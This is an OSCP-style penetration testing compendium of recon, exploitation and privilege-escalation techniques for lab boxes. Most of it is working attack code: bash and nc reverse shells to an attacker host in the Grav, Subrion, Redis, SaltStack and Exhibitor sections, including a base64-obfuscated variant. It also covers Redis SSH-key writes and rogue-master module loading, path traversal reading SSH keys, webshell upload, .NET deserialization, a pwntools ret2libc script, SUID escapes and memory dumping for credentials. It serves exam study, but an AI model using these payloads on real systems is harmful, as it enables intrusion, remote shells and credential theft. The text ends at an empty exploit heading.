# OSCP Compendium - Recon to Root - Work in Progress
A working compendium of techniques and lessons from OSCP-style lab boxes, organized by attack phase rather than by box. Flip to whichever section matches the wall you're stuck at.
Each technique entry tries to answer four questions:
Placeholders used throughout:
$IP / $TARGET - the target machine$ATTACKER / $TUN0 - your attacking machine (the tun0 IP on a VPN lab)$PORT - a listener port$USER, $PASS - credentials when genericBash blocks assume Kali Linux.
# Always-run baseline
nmap -sCV -p- -T4 -oN nmap/tcp_full.txt $IP
# UDP in parallel (top 100 is usually enough)
sudo nmap -Pn -sU --top-ports 100 -oN nmap/udp_top100.txt $IP
# Add hostname to /etc/hosts as soon as a redirect reveals one
echo "$IP target.local" | sudo tee -a /etc/hosts
Run UDP in a separate pane so the slow scan doesn't block your TCP work.
Given an open port, what should you immediately try?
| Port | Service | First five actions |
|---|---|---|
| 21 | FTP | anon login (ftp -inv $IP), banner -> searchsploit, list root, look for upload, check for /etc/passwd-style paths |
| 22 | SSH | banner -> CVE check (rare on modern), user enum via timing (older), key auth tests if you have keys |
| 25 | SMTP | VRFY/EXPN/RCPT TO user enum, open relay test |
| 53 | DNS | dig axfr @$IP <domain>, zone transfer for subdomain leaks |
| 80 | HTTP | manual browse, whatweb, feroxbuster, view source, robots.txt, .git/ |
| 110 | POP3 | banner, weak creds |
| 139/445 | SMB | smbclient -L //$IP -N, enum4linux-ng $IP, nxc smb $IP --shares, null sessions, anon shares |
| 143 | IMAP | banner, weak creds |
| 443 | HTTPS | as 80, plus cert subjects/SANs for hostnames |
| 1433 | MSSQL | weak SA, xp_cmdshell, nxc mssql |
| 2049 | NFS | showmount -e $IP, mount and check for no_root_squash |
| 3306 | MySQL | weak creds, version -> searchsploit, INTO OUTFILE for file write if FILE priv |
| 3389 | RDP | xfreerdp /u: /v:$IP, NLA toggle, BlueKeep check |
| 5432 | PostgreSQL | weak creds, COPY ... FROM PROGRAM, large_object tricks |
| 5985 | WinRM | evil-winrm with creds, nxc winrm for spraying |
| 6379 | Redis | see section 3.1 |
| 8080 | HTTP-alt | Tomcat manager, Jenkins, Gitea - dirbust the path, do NOT assume 404 means empty |
| 9200 | Elastic | version -> CVE-2014-3120/2015-1427 RCE on old; data exfil via _search |
| 27017 | MongoDB | unauth mongo $IP, drop in shell, exfil collections |
| 11211 | memcached | unauth stats, slabs dump |
| 873 | rsync | rsync $IP:: for module listing, anon read |
General pattern: identify version -> searchsploit -> CVE -> try unauth/default creds -> write/read primitives -> escalate.
Anonymous FTP on a Windows host is rarely just file storage. It's almost always a product-specific interface, and the folder layout fingerprints the product:
| Folder layout | Product |
|---|---|
ImapRetrieval/, PopRetrieval/, Spool/, Logs/ | SmarterMail |
Data/<domain>/<user>/... | hMailServer |
Postoffices/<domain>/Mailroot/... | MailEnable |
Users/<domain>/... with no retrieval folders | MDaemon |
accounts/, extensions/, certificates/, log/ | zFTPServer |
Once you've identified the product:
nmap -sV on the product's web port (e.g. SmarterMail on :9998).Some CMSes (Grav is a notable example) don't expose a version string anywhere
obvious - no HTTP header, no meta tag, no login page hint. When whatweb,
wappalyzer, and view-source all come up empty, walk through the install's
known-shipped files in order:
# 1. CHANGELOG.md - shipped in the release tarball, usually exposed
curl -s http://$IP/path/CHANGELOG.md | head -30
# 2. Plugin/admin changelog (separate from core version)
curl -s http://$IP/path/user/plugins/admin/CHANGELOG.md | head -30
# 3. composer.json / composer.lock
curl -s http://$IP/path/composer.json
curl -s http://$IP/path/composer.lock | grep -A2 '"name":'
# 4. README.md / VERSION
curl -s http://$IP/path/README.md | head -20
# 5. JS bundle paths - version sometimes baked into asset hashes
curl -s http://$IP/path/admin/login -o login.html
grep -E 'version|admin-all|vendor-all' login.html
# 6. Plugin/theme blueprints (YAML files)
curl -s http://$IP/path/user/plugins/admin/blueprints.yaml
If all of that fails, install-timestamp + GitHub release calendar is the last-ditch fingerprint:
http-ls output, curl -I Last-Modified, or
a directory listing.This works because most lab boxes are unzipped from a specific release tarball
at install time, and the file timestamps don't get touched afterwards. If
they did (touch or tar --touch), cross-check timestamps on multiple files.
Embedded Jetty/Tomcat services (ZooKeeper Exhibitor, Solr, Jenkins, Spark UI,
Kafka admin) mount their UIs at a sub-path. The HTTP root frequently returns
404 even when a perfectly accessible admin UI lives at /exhibitor/, /jenkins/,
/solr/, etc.
If you see:
HTTP/1.1 404 Not Found
Server: Jetty(9.x.x)
Don't walk away. Dirbust the path. The Powered by Jetty or Tomcat banner is
a strong tell that something is hosted there.
Some products bind two ports for the same service (FTP service on :21, FTP admin protocol on :3145, for example). The default credential sets are often different for the two ports. Test the product's documented defaults on each port, separately, before assuming one is locked down.
This is also where nxc is faster than hydra - sweep with the product's
documented defaults first, hydra against rockyou only after.
Options +Indexes is a recon giftThe http-ls nmap script catches it automatically:
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-03-17 17:46 grav-admin/
The directory listing reveals app names, install timestamps, and (when the admin forgot to suppress them) backup files. The timestamps frequently double as a version-fingerprint primitive (see 1.4).
ffuf -H "Host: FUZZ.target.local" -u http://target.local \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1
Negative result on a lab box is normal. Don't burn 30 minutes on it.
The same flow works for Subrion, Backdrop, Grav, ZoneMinder, Flowise, and a dozen other CMSes you'll see in labs:
<CMS> <version> exploit for known CVEsadmin:admin, admin:password, <product>:<product>)Always try default creds before brute-forcing or chasing a CVE - 5 seconds per service vs 20 minutes of hydra.
Build a reflex: enumerate -> grab every banner -> Google <product> default credentials for each service -> only then start brute-forcing.
Themed banners, basic-auth realms with cute quotes, "crack the nut" type strings are flavor, not strategy. If a realm string reads like a brute-force prompt, it is more likely a distraction than a hint. Test other services first.
Surface:
Rails app (look for X-Frame-Options: SAMEORIGIN, X-XSS-Protection,
X-Request-Id, X-Runtime headers; session cookie name like _appname_session)
with an endpoint that updates a model and returns the model serialized as JSON.
Why it works:
Rails controllers can update model attributes from a request hash via
@user.update(params[:user]). If the developer didn't filter the hash through
strong_parameters (calling .permit(:email, :name, ...)), every column on
the model becomes settable from the request - including booleans that gate
login, admin flags, role columns, etc.
The dead giveaway: a response that contains a sensitive attribute (e.g.
"confirmed": false, "admin": false, "role": "user") is almost certainly
also accepting that attribute on input.
Exploitation:
Original form body to update email:
_method=patch
&authenticity_token=<token>
&user[email][email protected]
&commit=Change%20email
Add the sensitive field:
_method=patch
&authenticity_token=<token>
&user[email][email protected]
&user[confirmed]=true
&commit=Change%20email
Response now shows "confirmed": true. You've bypassed whatever check that
field gated.
Reflex: Any time a Rails app returns model JSON, inspect every attribute in
the response. Try setting each one in the request. Booleans and string columns
that look administrative (role, admin, confirmed, verified, enabled)
are the targets.
Surface:
A web app with a cwd, dir, path, folder, or directory parameter -
particularly on download or file-listing endpoints.
Why it works:
Developers reflexively sanitize anything called "filename" (basename strip, regex to remove slashes, etc.) but the directory parameter is treated permissively because by design it has to accept path components.
A typical vulnerable construction:
path = File.join(STORAGE_DIR, params[:cwd], params[:file])
send_file(path)
Ruby's File.join (and equivalents in PHP, Python's os.path.join) does not
normalize .. segments. It just glues strings with separators. So a traversal
payload in cwd escapes STORAGE_DIR while file stays well-formed and bypasses
any basename check.
Exploitation:
GET /filemanager?cwd=../../../../../../etc&file=passwd&download=true
GET /filemanager?cwd=../../../../../../home/user/.ssh/keys&file=id_rsa&download=true
Notes on depth: STORAGE_DIR is often 5-7 levels deep from /. Iterate
traversal depth until you hit content. Most apps need an action flag like
&download=true to route to the file-serving handler, without which the
traversal bug is in the listing/render path and doesn't fire.
When you find a primitive in one endpoint's parameter, try the same parameter
on every other endpoint of the same app. Path traversal in cwd on a download
endpoint is half a vulnerability; the same cwd honored on an upload endpoint
upgrades read-only LFI to arbitrary read+write.
Concrete example: a cwd traversal on GET /filemanager?download=true lets
you read any file the web process can read. Same cwd on POST /filemanager
(file upload) lets you write any file the web process can write. The latter
turns into a shell when you write authorized_keys into the daemon user's
~/.ssh/.
When LFI (or any arbitrary-read primitive) lands, the bug itself doesn't tell you which user the process runs as. Map the privilege boundary by testing what you can't read:
GET /filemanager?cwd=../../../../../../root&file=anything -> permission denied
A permission-denied on /root (mode 0700, owned by root) means the web
process is not root. Combined with successful reads in a regular user's
home, you've identified the process owner. This is critical because:
authorized_keys write will be honored depends on file
ownership at the target pathReflex: Whenever LFI lands, immediately test:
/root/.bash_history or /root/anything -> can you read it?/etc/shadow -> generally only root/home/*/...) -> tells you if you can pivot laterally
through filesystem writesLFI isn't only an exploitation step; it's a recon tool for everything that comes after.
If you have LFI as user webuser and the privesc target later turns out to
be a key in ~/keys/root, you could have read that key during the LFI phase
and pre-staged the privesc invocation. The foothold step (getting an actual
shell) is still required, but the privesc material is in hand before you land
the shell.
Build the habit: after LFI lands, enumerate every readable file you'll need
later. Especially ~/.ssh/ (entire directory, not just canonical filenames),
/etc/crontab, /etc/passwd, recent log files, application config files
with credentials.
Surface: Grav CMS install with admin plugin enabled (/admin resolves to
a login page), version 1.7.0 through 1.7.10 (or admin plugin version <= 1.10.10).
Why it works: The admin plugin's task handler accepts a task parameter
evaluated as a Twig template under specific endpoints. Chain auth bypass +
Twig SSTI -> unauthenticated RCE as the web user.
Exploitation (CsEnox PoC):
git clone https://github.com/CsEnox/CVE-2021-21425
cd CVE-2021-21425
# Always test command execution first - confirms the exploit reaches the target
sudo tcpdump -i tun0 icmp &
python3 exploit.py -t http://$IP/grav-admin -c 'ping -c 3 $TUN0'
# tcpdump should show ICMP echo requests from the target
# Reverse shell
penelope -i tun0 -p $PORT
python3 exploit.py -t http://$IP/grav-admin \
-c '/bin/bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'
Gotchas:
www-data, not as a Grav admin userSurface: Subrion CMS 4.2.1 (footer text, /panel login endpoint, robots.txt
patterns referencing /panel/, /front/, /install/, /updates/).
Why it works: Webroot file-extension blacklist bypass via .phar or
double-extension on the admin file manager. Default creds admin:admin work
on many lab/CTF deployments.
Exploitation:
# PoC: https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-
python3 exploit.py -u http://$IP/panel -l admin -p admin -c 'whoami'
Operating gotchas:
The PoC's shell is not interactive. Each python3 exploit.py -c '<cmd>'
is a fresh HTTP POST -> fresh PHP process. State (cwd, env, jobs) does not
persist between commands. If cd "doesn't work," that's why.
Quoting is fragile. Bare bash -c '...' with redirection tends to mangle.
Use base64 + brace expansion to bypass the wrapper:
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' | base64 -w0)
python3 exploit.py -c "bash -c '{echo,${PAYLOAD}}|{base64,-d}|bash'"
Skip the wrapper for iteration speed once the webshell is uploaded -
curl the dropped .phar directly with a cmd= parameter.
penelope -p $PORT auto-upgrades raw shells to PTY. Only feed it raw
shells, not pty.spawn(...). Pre-ptied connections cause double-upgrade
and hangs.
rlwrap nc -lvnp $PORT is the bulletproof fallback. Manual PTY upgrade:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm-256color; stty rows 50 columns 200
# Unauth handshake
nc -nv $IP 6379
INFO # version, OS, uptime, build, pid, dir, executable
CLIENT LIST # other connections - sometimes leaks paths/IPs
CONFIG GET * # full server config dump
KEYS * # all keys (DANGEROUS on prod, fine on CTF)
MODULE LIST # loaded modules
SLOWLOG GET 25 # previous slow commands - sometimes contain creds
LASTSAVE # last RDB write timestamp
# Auth probe (requirepass set?)
redis-cli -h $IP ping
# "NOAUTH Authentication required" -> password is set
# "PONG" -> unauth -> game on
# Brute when needed
hydra -P /usr/share/wordlists/rockyou.txt redis://$IP
Key indicators in INFO:
redis_version - drives which exploits applyos - Linux distro affects Lua sandbox escape feasibilityexecutable - /usr/local/bin/redis-server indicates manual install (likely non-default user)process_id + uptime_in_days - long uptime = stable target, instance hasn't been reverted| Primitive | When it works | When it doesn't |
|---|---|---|
Write authorized_keys | Daemon user has writable .ssh somewhere | Hardened install, daemon uid has no homedir or .ssh |
| Write cron job | /var/spool/cron/crontabs/<user> or /etc/cron.d/ writable | Permissions blocked, or cron not running |
| Write webshell | Web root writable AND a PHP/etc. handler reachable | No web service, or webroot read-only |
| Lua sandbox escape (CVE-2022-0543) | Debian/Ubuntu, Redis 5.0.5 or lower (varies by build) | RHEL-family, patched builds |
| Rogue master + MODULE LOAD | Redis 4.x/5.x, unauth, no MODULE blocklist | Auth required (handle with -a), or MODULE LOAD disabled |
The canonical Redis-to-shell. Push your pubkey into Redis as a value, then
trick Redis into saving its RDB file to <target_user>/.ssh/authorized_keys:
# Generate key on Kali
ssh-keygen -t ed25519 -f ./key -N "" -C "attacker"
# Pad with newlines so RDB binary noise doesn't corrupt the key line
(printf '\n\n\n'; cat key.pub; printf '\n\n\n') > key.txt
# Push into Redis
cat key.txt | redis-cli -h $IP -x set crackit
redis-cli -h $IP config set dbfilename "authorized_keys"
# Probe common writable .ssh paths
for d in /root/.ssh /home/redis/.ssh /home/ubuntu/.ssh /home/admin/.ssh \
/var/lib/redis/.ssh /redis/.ssh /usr/local/redis/.ssh; do
echo -n "$d: "
redis-cli -h $IP config set dir "$d" 2>&1
done
# If one succeeds:
redis-cli -h $IP save
ssh -i ./key <user>@$IP
If every path errors:
Permission denied on /root/.ssh -> exists, but Redis daemon isn't root.No such file or directory on /home/*/.ssh -> daemon user's home isn't there.Lesson: when SSH-key write is blocked across the obvious targets, pivot to
a primitive that doesn't depend on the daemon's filesystem permissions. Don't
fixate. Module load (3.1.5) works regardless of .ssh accessibility.
One-shot RCE if the OS is Debian-family AND the build is vulnerable:
redis-cli -h $IP <<'EOF'
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
EOF
If you see uid/gid output -> vulnerable. For a reverse shell:
CMD='bash -c "bash -i >& /dev/tcp/$TUN0/$PORT 0>&1"'
redis-cli -h $IP eval "local f = io.popen('${CMD}', 'r'); f:read('*a')" 0
The bullet-proof technique. Spin up a fake Redis master on the attacker box,
tell the target SLAVEOF us, serve a malicious .so as the replication
payload. Target loads it via MODULE LOAD and exposes a system.exec command.
Setup once:
git clone https://github.com/n0b0dyCN/redis-rogue-getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
# gcc 10+ fix - the module source uses strlen, strcat, inet_addr without
# including their headers. Pre-gcc 10 issued warnings; gcc 10+ promotes to errors.
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
make
file module.so # should report: ELF 64-bit shared object
Run:
cd ../redis-rogue-getshell
# Listener (separate pane)
penelope -i tun0 -p 1338
# Fire
python3 redis-master.py \
-r $IP -p 6379 \
-L $TUN0 -P 8888 \
-f ../RedisModules-ExecuteCommand/module.so \
-c "bash -c 'bash -i >& /dev/tcp/$TUN0/1338 0>&1'"
Wire transcript:
SLAVEOF $TUN0 8888 -> +OK
CONFIG SET dbfilename exp.so -> +OK
(receives PING / REPLCONF / PSYNC from target)
MODULE LOAD ./exp.so -> +OK
SLAVEOF NO ONE -> +OK
CONFIG SET dbfilename dump.rdb -> +OK (cleanup)
system.exec "<reverse shell>" -> (hangs)
Crucial gotcha: the final system.exec "hangs" with a TimeoutError
traceback in the rogue-master script - this is expected. The named-pipe or
bash -i reverse shell never returns control to the Redis socket. Penelope
catches the connection regardless. If you used a non-returning payload, the
traceback is benign.
Other notes:
MODULE LOAD is disabled (config get enable-module-command returns
"no"), this technique is out.-a <password> to the script.Surface:
4505/tcp open zmtp ZeroMQ ZMTP 2.0 <- pub channel (minion subscribe)
4506/tcp open zmtp ZeroMQ ZMTP 2.0 <- req channel (EXPLOIT TARGET)
8000/tcp open http nginx (salt-api)
The exploitable port is 4506. The HTTP salt-api on 8000 is a separate attack surface that requires different handling.
# salt-api fingerprint
curl -s http://$IP:8000/run | jq
# Returns: "clients": ["local","local_async","runner","wheel","ssh","wheel_async"]
# This client list is SaltStack-specific - immediate identification
# Version fingerprint - provoke a 500 to leak CherryPy version in error body
curl -s http://$IP:8000/logout
# "Powered by CherryPy 5.6.0" -> old SaltStack, likely vulnerable
Why it works: SaltStack master accepts {"cmd": "_prep_auth_info"} on the
ZeroMQ req channel (4506) without authentication and returns the master root
key. The root key then permits arbitrary code execution via the runner client.
Exploitation:
# Retrieve root key (no auth)
./PoC.py --host $IP --fetch-key-only
# Direct exec via runner (most reliable)
./PoC.py --host $IP --execute "id"
# Reverse shell - single quotes inside double quotes (quoting matters!)
./PoC.py --host $IP --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"
# Execute on minions instead of master
./PoC.py --host $IP --minions --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"
# File read/write via wheel
./PoC.py --host $IP --download /root/proof.txt ./proof.txt
./PoC.py --host $IP --upload ./shell.sh /tmp/shell.sh
Metasploit alternative:
use exploit/linux/misc/saltstack_salt_unauth_rce
set RHOSTS $IP
set LHOST $TUN0
set LPORT $PORT
run
Common pitfalls:
| Symptom | Cause | Fix |
|---|---|---|
| 401 on salt-api with root key | Root key != X-Auth-Token | Use ZeroMQ PoC, not curl to :8000 |
| jid returned but no shell | TCP egress filtered | Use HTTP/ICMP exfil instead |
| Shell quoting breaks | Double-double-quote nesting | Single inside double: "bash -c 'cmd'" |
--download fails on /root/x | file_roots.read reads /srv/salt/ only | Copy file there first, or use HTTP exfil |
Egress check (if shell doesn't come back):
# On Kali
sudo tcpdump -i tun0 icmp
# Via code exec
./PoC.py --host $IP --execute "ping -c 3 $TUN0"
# ICMP hits -> exec works, TCP is filtered (use HTTP exfil)
# No hits -> exec not working at all
Surface:
/exhibitor/v1/ui/index.htmlPowered by Jetty banner on the 404 page is a strong tellWhy it works: Exhibitor is a JVM supervisor for ZooKeeper that exposes a
config editor through its Web UI. The java.env script field is written to a
shell script and executed when ZK is (re)started. Anything you put there runs
as the Exhibitor user. No auth required by default.
Exploitation:
Browse to http://$IP:$HTTP_PORT/exhibitor/v1/ui/index.html
Navigate to Config -> Editing
In the java.env script field, drop a command-injection payload using
backticks or $():
$(/bin/nc -e /bin/sh $TUN0 $PORT &)
Commit the config change. Wait for ZK to (re)launch - Exhibitor will execute the field's contents.
Catch with penelope -i tun0 -p $PORT.
Gotchas:
nc -e only works on the traditional/openbsd variants of netcat. If
unavailable, fall back to:
$(bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' &)$(python3 -c '...' &)& at the end is not optional - without backgrounding, Exhibitor's
bootstrap hangs waiting for the shell to exit and never finishes launching
ZK.Surface:
17001/tcp open remoting MS .NET Remoting services:9998 or :80/:443Why it works: SmarterMail builds below 6985 expose a .NET Remoting
endpoint that accepts a BinaryFormatter-serialized object over TCP. The
endpoint deserializes the blob without type filtering, so a
TypeConfuseDelegate gadget chain triggers arbitrary command execution under
the SmarterMail service account - which is NT AUTHORITY\SYSTEM by default.
No auth, no user context, no privesc.
Exploitation (EDB 49216):
searchsploit -m 49216
# Patch the four constants at the top of 49216.py
sed -i "s/HOST='192.168.1.1'/HOST='$IP'/" 49216.py
sed -i "s/LHOST='192.168.1.2'/LHOST='$TUN0'/" 49216.py
sed -i "s/LPORT=4444/LPORT=1339/" 49216.py
# PORT=17001 default is fine
# Start a catcher
penelope -i tun0 -p 1339
# Fire
python3 49216.py
Shell returns as:
PS C:\Windows\system32> whoami
nt authority\system
No privesc step. The SmarterMail service runs as SYSTEM, so the deserialization payload lands as SYSTEM.
Detection-only PoC: CVE-2025-52691 reads the version from
/interface/root. Useful for confirming SmarterMail is in play, but doesn't
give a shell.
Failure modes:
psh_shell for a certutil cmdstager or a cmd.exe /c payload that
downloads nc.exe.tasklist /svc | findstr -i smarter.Any Windows server where nmap -sV returns the literal string remoting is a
deserialization candidate. Same reflex applies to:
:17778, :17790 .NET Remoting)BinaryFormatter
problem)Hand-rolled payloads: ysoserial.net generates raw blobs targeting
tcp://<host>:17001/Servers (or whatever endpoint).
Surface:
220 zFTPServer v6.0, build YYYY-MM-DD bannerDefaults to try:
admin:admin on :21 - the FTP service's built-in admin account. Heavily
under-tested because everyone assumes "admin" must be on the admin port.anonymous: on :21 for read-only enum.Why it matters: zFTPServer is frequently configured to serve directly out of a webroot - an authenticated FTP login is effectively webroot write access. That converts the FTP foothold directly into RCE on whatever PHP/ASP stack sits on top, without needing any vuln in the web app itself.
Workflow:
ftp $IP
# admin:admin
ftp> ls -la
# Look for web markers: .htaccess, web.config, index.php, index.aspx
ftp> put cmd.php
# Trigger via the web service
curl "http://$IP/cmd.php?cmd=whoami"
Apache 2.2.21 + PHP 5.3.8 on Windows almost certainly indicates WAMP.
Default WAMP webroot: C:\wamp\www\ (or C:\wamp64\www\).
.htpasswd + $apr1$ crackingSurface:
WWW-Authenticate: Basic realm=...).htaccess files referencing AuthUserFile <path> - that path is the
.htpasswd locationHash format:
username:$apr1$<8-char-salt>$<22-char-hash>
$apr1$ is Apache's MD5-based crypt variant (1000 rounds, custom).Apache $apr1$ MD5).md5crypt-apache or apache-md5.Crack:
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
# or with rules
hashcat -m 1600 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Common file paths:
C:\wamp\www\.htpasswd or C:\wamp64\www\.htpasswdC:\xampp\htdocs\.htpasswd/etc/apache2/.htpasswd, /var/www/.htpasswd, or inside docrootThe .htaccess always tells you the exact path - read it first, don't guess.
Scoping reminder: A cracked basic-auth cred is scoped to the realm only.
Test it elsewhere with nxc rdp/smb/winrm/ftp but don't assume reuse - HTTP
basic-auth creds are not Windows creds, even when the username matches.
sudo -l is always step 1sudo -l # who am I allowed to be?
sudo -V | head -1 # version -> CVE applicability (CVE-2021-3156 etc.)
sudo --host=fakehost -l 2>/dev/null # leak rules without password (older sudo)
If (root) NOPASSWD: /path/to/binary appears, that binary is the target.
Strategy depends on what it does:
| Binary calls | Escape via |
|---|---|
systemctl status ..., journalctl ... | !cmd in less (pager auto-invoked) |
man <page>, more <file>, less ... | !cmd in pager |
vi/vim something | :!/bin/sh |
find ... -exec foo | find x -exec /bin/sh \; if find is the sudo'd binary |
python <script> | If script is writable, edit it; else stdin injection |
awk/sed/perl/ruby | GTFOBins one-liners |
| Custom binary, no source | strings, then BOF/format-string/path-hijack/env-injection |
For any non-standard sudo entry, SUID binary, or capability, GTFOBins probably
has the escape. Use the SUID column for SUID binaries (prefer entries with
-p / EUID preservation - see 4.4), the Sudo column for sudo entries.
# The one-liner
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
# Cleaner variants
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | xargs ls -la 2>/dev/null
# SUID + SGID together
find / -perm -6000 -type f 2>/dev/null
# Drop the standard Ubuntu noise
find / -perm -4000 -type f 2>/dev/null | grep -vE '/(snap|sudo|mount|umount|su|chsh|chfn|gpasswd|newgrp|passwd|fusermount|policykit|dbus|ssh-keysign|snap-confine|pkexec|at|eject)'
SUID enum is about outlier detection, not list reading. Memorize the standard Ubuntu/Debian/RHEL SUID sets so the non-standard binaries pop visually. On exam time pressure this is the difference between 10 seconds and 5 minutes.
Standard noise on a vanilla Ubuntu install:
/usr/bin/{sudo,su,passwd,chsh,chfn,gpasswd,newgrp,mount,umount,fusermount}/usr/bin/at/usr/lib/{openssh/ssh-keysign,policykit-1/polkit-agent-helper-1,dbus-1.0/dbus-daemon-launch-helper,eject/dmcrypt-get-device,snapd/snap-confine}/snap/core*/Outliers are the targets. /usr/bin/php7.4 with SUID is not standard. Same
for /usr/bin/python3.x, /usr/bin/find, /usr/bin/cp, etc.
-p gotcha/bin/sh and /bin/bash both drop the EUID back to the real UID on startup
by default, as a security mitigation. The -p flag tells them to preserve
the EUID. Without -p, your SUID shell-escape silently drops back to the
calling user (e.g. www-data).
PHP SUID (GTFOBins recommended):
/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
# If pcntl is not loaded
php7.4 -m | grep pcntl
# Fallbacks
/usr/bin/php7.4 -r 'posix_setuid(0); posix_setgid(0); system("/bin/sh -p");'
/usr/bin/php7.4 -r 'system("/bin/sh -p");' # least reliable, often drops privs
Verifying:
whoami # root
id # may show uid=33(www-data) euid=0(root) - that's fine, euid=0 is what matters
cat /root/proof.txt
# To "clean up" the shell into a real root one if anything needs uid=0:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
If your shell escape "works" but whoami still says the original low-priv
user, missing -p is the #1 reason.
| Pager | Escape |
|---|---|
less | !cmd (run as pager's uid); v opens $EDITOR; :e /path reads files |
more | !cmd once content has paged; works on Linux |
man | !cmd inside; or invoke man on a writable section |
vi/vim | :!cmd, :shell, or :python import os; os.system("...") |
nano | Ctrl-R Ctrl-X then cmd (read command output) |
These work because the pager spawns a subshell inheriting the running process's UID. Under sudo, that's root.
If the pager doesn't open when running a systemctl status or similar,
your terminal is too tall - systemd decides whether to invoke less based on
window size. Shrink:
stty rows 20 cols 80
Then re-run.
When you find a hand-installed binary under /usr/local/ or referenced in a
sudo entry, always investigate. Distro binaries are vetted; bespoke ones are
where the bugs live.
file ./binary
strings ./binary | less # creds, paths, format strings, command literals
checksec --file=./binary # NX/canary/PIE/RELRO matrix
ldd ./binary # linked libs - look for non-standard ones
objdump -d ./binary | less # disassembly
nm -D ./binary # dynamic symbols - what's linked
ltrace ./binary # library calls - sees strcmp / fopen / system args
strace ./binary 2>&1 | less # syscalls - sees execve args, file reads
Look for:
gets, strcpy, sprintf, scanf("%s", ...) -> stack BOFssystem, popen, execl* -> command injection if argument-controlledstrcmp against literals -> hardcoded passwords (use strings to find them)printf(user_input)) -> format-string vulnsfopen(..., "w") to attacker-influenced paths -> arbitrary file writestrings first, ghidra second. Hardcoded credentials, command-line
invocations of pagers, and system() calls are constantly missed by people
who jump straight to reverse engineering.
If the binary has gets and a linked system symbol (visible in strings
output) and no canary/PIE, that's a classic ret2libc/ret2plt one-shot.
# 1. Triage
checksec --file=./bin
file ./bin
strings ./bin
# 2. Find crash offset
gdb -q ./bin
> cyclic 200 # pwndbg/peda
> r
# feed pattern, get crash
> cyclic -l <RSP_at_crash>
# 3. Find gadgets
ROPgadget --binary ./bin | grep -E 'pop rdi|ret$'
# 4. Build with pwntools
from pwn import *
elf = ELF('./bin')
context.binary = elf
OFFSET = 72 # from cyclic
POP_RDI = 0x004012a3
RET = 0x004012a4 # for stack alignment
SYSTEM = elf.plt['system']
BINSH = next(elf.search(b'/bin/sh'), None)
if BINSH is None:
# write '/bin/sh' to .bss via gets first
BSS = elf.bss(0x100)
GETS = elf.plt['gets']
payload = b'A'*OFFSET
payload += p64(POP_RDI) + p64(BSS) + p64(GETS) # gets(bss)
payload += p64(POP_RDI) + p64(BSS) + p64(SYSTEM) # system(bss)
p = process('./bin')
p.sendline(payload)
p.sendline(b'/bin/sh')
else:
payload = b'A'*OFFSET + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p = process('./bin')
p.sendline(payload)
p.interactive()
The extra ret before system is glibc's 16-byte stack-alignment requirement
on x86_64 - many system() calls SEGV in movaps without it.
When the binary is sudo-able, the same payload through sudo yields a root
shell because EUID is 0 for the lifetime of the process.
gcore memory dump for credential extractionSurface:
ps aux (password
managers, vault unlocks, license servers, custom auth daemons)sudo -l lists gcore / gdb with NOPASSWD or accepted passwordgetcap -r / 2>/dev/null shows cap_sys_ptrace on a binary we can runcat /proc/sys/kernel/yama/ptrace_scope returns 0Why it works: gcore writes a core dump of a running process to disk. If
you can run it against a privileged process, anything that process has in
memory becomes readable - plaintext credentials, decrypted secrets, session
tokens, keys.
Exploitation:
# Find odd root processes
ps -ef | grep -i -E 'pass|vault|secret|auth|cred|key' | grep -v grep
ps auxf
# Confirm primitive
sudo -l
getcap -r / 2>/dev/null
cat /proc/sys/kernel/yama/ptrace_scope
# Dump core to cwd (writes core.<PID>)
sudo gcore <PID>
# Or without sudo if ptrace permits same UID
# Mine the dump
strings core.<PID> | grep -i -E 'pass|pwd|secret|token|user'
strings core.<PID> | less
Gotchas:
cd /dev/shm && sudo gcore <PID>getline()/stdin buffers tend to
hold the most recent input. Search proximity to known prompts (Password:,
PIN:).If sudo allows gdb directly (not just gcore), shell escape via
gdb -nx -ex '!sh' -ex quit is faster than the dump route. But the dump is the
play when the goal is other users' secrets, not your own UID escalation.
When a privileged process (root cron, suid wrapper, web upload handler) calls a parsing utility on attacker-controlled input, that's one of the top-3 OSCP Linux privesc archetypes. The pattern:
/etc/crontab, /etc/cron.d/, or via pspyWorth knowing per binary:
| Binary | CVE | Trigger |
|---|---|---|
| ExifTool | CVE-2021-22204 | DjVu ANT data passed through Perl eval; affects 7.44-12.23 |
| ImageMagick | ImageTragick (CVE-2016-3714) and follow-ups | PostScript / MVG / SVG chains |
| Ghostscript | CVE-2023-36664 etc. | -dSAFER bypasses |
| ffmpeg | (various) | HLS read primitives |
| tar | (path traversal) | Symlink/hardlink tricks in archives extracted by cron |
Identification checklist:
exiftool -ver returns 12.23 or earlierexiftool is invoked by something privileged (root cron, suid wrapper, web
upload pipeline, mail handler).djvu extension - filename filtering is usually a loose
substring match on jpg/png/etc. (the malicious file is DjVu internally
regardless)Discovery:
# Static enum
cat /etc/crontab
ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
# Dynamic enum - catches root cron without read access
wget http://$TUN0/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
# Check exiftool everywhere it might live
which -a exiftool && exiftool -ver
find / -name 'exiftool*' 2>/dev/null
Exploit (UNICORD PoC):
# Run on the attacker box, not the target. Output is a crafted image.
